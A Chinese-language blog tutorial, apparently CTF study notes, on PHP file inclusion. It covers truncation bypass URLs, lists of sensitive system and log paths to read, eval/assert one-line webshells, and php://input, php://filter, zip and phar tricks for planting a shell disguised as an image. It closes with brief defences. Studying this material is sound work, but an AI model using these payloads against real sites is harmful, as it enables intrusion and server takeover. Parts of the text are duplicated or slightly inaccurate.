寫在前邊
最近兩天突然失去夢想,做題目全是知識盲區,就放棄思考了幾天,想想還是寫點什么,這里先總結一下什么是文件包含以及以PHP偽協議的文件包含利用,后續再更新CTF的實戰
注意:所有實驗必須要在php.ini中 allow_url_fopen =On 、allow_url_include = On
文件包含漏洞原理
程序開發人員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這中文件調用的過程一般被稱為文件包含。在實際WEB應用中,當頁眉需要更新時,只更新一個包含文件就可以了,或者當您向網站添加一張新頁面時,僅僅需要修改一下菜單文件(而不是更新所有網頁中的鏈接)。
開發人員都希望代碼更加靈活,所以通常會將被包含的文件設置為變量,在文件包含函數加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他惡意文件,導致了執行了非預期的代碼。
PHP常見文件包含函數
include()、include_once()、require()、require_once()
include()和require()區別
- require 生成一個致命錯誤(E_COMPILE_ERROR),在錯誤發生后腳本會停止執行。
- include 生成一個警告(E_WARNING),在錯誤發生后腳本會繼續執行
演示一下,新建一個測試文件a.php,在同目錄下有個home.php、upload.php、download.php這三個文件,我
<?php
$filename = $_GET['filename'];
include($filename);
echo '$filename='.$filename;
?>
在同目錄下有個home.php、upload.php、download.php這三個文件,只要根據不同的參數,我們就可以訪問不同的文件
此時,我們訪問的當前目錄下的文件,如果不限制參數,我們可以讀取其他其他路徑下的文件,這里有個絕對路徑和相對路徑的概念
新建一個aaa.php,這里存放一個類
<?php
class Man{
public $name;
public function eat(){
echo $this->name." eating";}
}
?>
再建一個aa.php,用來測試
<?php
include('路徑'); //修改導入路徑
$a = new Man();
$a->name = 'Lee';
$a->eat();
?>
絕對路徑:絕對路徑是指文件在硬盤上真正存在的路徑。如修改路徑為 /var/www/html/web/aaa.php
include('/var/www/html/web/aaa.php')
相對路徑:就是相對於自己的目標文件位置 如 ./aaa.php,只要兩個文件相對的路徑不變,那么實際就是對的
include('./aaa.php');
了解了什么是包含和路徑,現在具體來看看文件包含漏洞
PHP文件包含漏洞
文件包含漏洞利用的前提條件:
(1)web 應用采用 include 等文件包含函數,並且需要包含的文件路徑是通過用戶傳輸參數的方式引入;
(2)用戶能夠控制包含文件的參數,被包含的文件可被當前頁面訪問;
1、無限制本地文件包含漏洞
依照剛剛所講述的,我們利用filename這個參數控制我們訪問的頁面,再參照路徑問題,當未對參數進行訪問控制時,我們可以訪問其他路徑下的文件,我的服務器是在Linux上的
2、有限制本地文件包含漏洞繞過
測試代碼:
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
2.1 %00截斷
條件:magic_quotes_gpc = Off php版本<5.3.4
2.2 路徑長度截斷
條件:windows OS,點號需要長於256;linux OS 長於4096
EXP
http:/127.0.0.1/web/test.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
2.3 點號截斷
條件:windows OS,點號需要長於256
EXP
http://127.0.0.1/web/test.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
發現可以訪問一些敏感路徑
Linux的敏感路徑
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2 默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP 相關配置
/etc/httpd/conf/httpd.conf //apache
/etc/php5/apache2/php.ini //ubuntu 系統的默認路徑
Windows的敏感路徑
C:\boot.ini //查看系統版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件
C:\windows\repair\sam //存儲 windows 系統初次安裝的密碼
C:\Program Files\mysql\my.ini //mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php 配置信息
C:\windows\my.ini //mysql 配置文件
日志默認路徑
(1) apache+Linux 日志默認路徑
/etc/httpd/logs/access_log
/var/log/httpd/access_log
(2) apache+win2003 日志默認路徑
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003 默認日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默認日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用戶安裝目錄 logs 目錄下
web 中間件默認配置
(1) apache+linux 默認配置文件
/etc/httpd/conf/httpd.conf
index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config
2、遠程文件包含
這有個很有意思的地方,我們可以利用PHP的這個文件包含特性去訪問另一台服務器的文件,測試代碼
<?php
$filename = $_GET['filename'];
include($filename);
?>
這可能會爆警告,但不用管他,我們只關心ERROR,WARNING愛咋咋的,我這開啟了另一台服務器,有個phpinfo.php顯示php版本的文件
3、文件包含+改寫文件
來設置一個極端場景,用戶可以通過修改參數來更新自己的信息保存在另一個文件里
<?php
$filename = $_GET['filename'];
include('$filename');
$input_txt = $_GET['input_txt'];
$myfile = fopen("user.php", "w") or die("Unable to open file!");
fwrite($myfile, $input_txt);
fclose($myfile);
?>
(真實場景中絕對不可能出現這種代碼,這里只是演示 ORZ )
發現我們可以控制訪問的文件和寫入,這里我們通過傳參修改一下user.php的內容(這里有個小BUG,第一次修改的時候不會顯示修改的值,刷新才兩次才更新,畢竟要先寫入后再返回)
如果我們輸入的PHP代碼呢?
發現成功執行了phpinfo()這個函數,這樣,我們可以修改相對應的文件進行getshell,這里就簡單介紹一下利用代碼執行函數和命令執行函數來getshell(一些奇怪的實戰可能需要等刷到題),像這樣文件包含和改寫的在CTF中經常與序列化結合在一起,不了解序列化的可以去看一下 https://www.cnblogs.com/Lee-404/p/12771032.html
這邊還有一個session.php利用,實際上3利用方法一樣的,前提是必須知道session.php的位置,phpinfo中可獲取
一句話木馬
文件包含獲取 webshell 的條件:
(1)攻擊者需要知道文件存放的物理路徑;
(2)對上傳文件所在目錄擁有可執行權限;
(3)存在文件包含漏洞;
菜刀馬的原理是調用了PHP的代碼執行函數,常見的一句話菜刀馬,就是調用了eval函數、assert函數。
1、eval()
eval() 函數把字符串按照 PHP 代碼來計算。
該字符串必須是合法的 PHP 代碼,且必須以分號結尾。
如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。
<?php @eval($_POST['cmd']);?> //菜刀密碼為cmd
改寫成功,接下來連接,我這菜刀連接不上,可能本地防火牆原因,所以用hackbar連接
2、assert()函數
eval() 函數把字符串按照 PHP 代碼來計算。
該字符串必須是合法的 PHP 代碼,且必須以分號結尾。
如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。
<?php @assert($_POST['cmd'])?> //用法和eval一樣,具體后續再分析
PHP偽協議
php://input(寫木馬)
php://input 是個可以訪問請求的原始數據的只讀流。 POST 請求的情況下,最好使用 php://input 來代替 $HTTP_RAW_POST_DATA,因為它不依賴於特定的 php.ini 指令。 而且,這樣的情況下 $HTTP_RAW_POST_DATA 默認沒有填充, 比激活 always_populate_raw_post_data 潛在需要更少的內存。 enctype=”multipart/form-data” 的時候 php://input 是無效的。 ——php.net
簡單說就是獲取post數據。
test.php
<?php
$d = file_get_contents('php://input');
@eval($d)
?>
php://filter(讀文件)
php://filter 是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。 這對於一體式(all-in-one)的文件函數非常有用,類似 readfile()、 file() 和 file_get_contents(), 在數據流內容讀取之前沒有機會應用其他過濾器。 ——php.net
簡單說經常利用它進行base64編碼,在CTF中,經常出現,我們利用
php://filter/read=convert.base64-encode/resource=xxx //xxx是文件名
測試代碼
<?php
$filename = $_GET['filename'];
include($filename);
?>
以base64的方式輸出,解碼 https://base64.supfree.net/
zip://,bzip2://,zlib:// (上傳)
zlib: 的功能類似 gzopen(),但是 其數據流還能被 fread() 和其他文件系統函數使用。 自 PHP 4.3.0 后這個不建議被使用,因為會和其他帶“:”字符的文件名混淆; 請使用 compress.zlib:// 作為替代。compress.zlib://、 compress.bzip2:// 和 gzopen()、bzopen() 是相等的。並且可以在不支持 fopencookie 的系統中使用。ZIP 擴展 注冊了 zip: 封裝器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密歸檔開始支持密碼,允許數據流中使用密碼。 字節流上下文(stream contexts)中使用 ‘password’ 選項設置密碼。 ——php.net
簡單說就是直接訪問壓縮包里的文件。將phpinfo.txt壓縮成zip,實戰中可以改后綴為jpg繞過上傳限制。
data://偽協議
數據流封裝器,和php://相似都是利用了流的概念,將原本的include的文件流重定向到了用戶可控制的輸入流中,簡單來說就是執行文件的包含方法包含了你的輸入流,通過你輸入payload來實現目的;如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代碼執行
phar://偽協議
這個參數是就是php解壓縮包的一個函數,不管后綴是什么,都會當做壓縮包來解壓。
用法:?file=phar://壓縮包/內部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 壓縮包需要是zip協議壓縮,rar不行,將木馬文件壓縮后,改為其他任意格式的文件都可以正常使用。 步驟: 寫一個一句話木馬文件shell.php,然后用zip協議壓縮為shell.zip,然后將后綴改為png等其他格式。注意:PHP > =5.3.0 壓縮包需要是zip協議壓縮,rar不行,將木馬文件壓縮后,改為其他任意格式的文件都可以正常使用。 步驟: 寫一個一句話木馬文件shell.php,然后用zip協議壓縮為shell.zip,然后將后綴改為png等其他格式。
在CTF中,可以利用這些偽協議來進行騷操作
防御方案
- 在很多場景中都需要去包含web目錄之外的文件,如果php配置了open_basedir,則會包含失敗
- 做好文件的權限管理
- 對危險字符進行過濾等等
參考鏈接
https://blog.csdn.net/nzjdsds/article/details/82461043
https://www.freebuf.com/articles/web/182280.html
https://www.cnblogs.com/fox-yu/p/9134848.html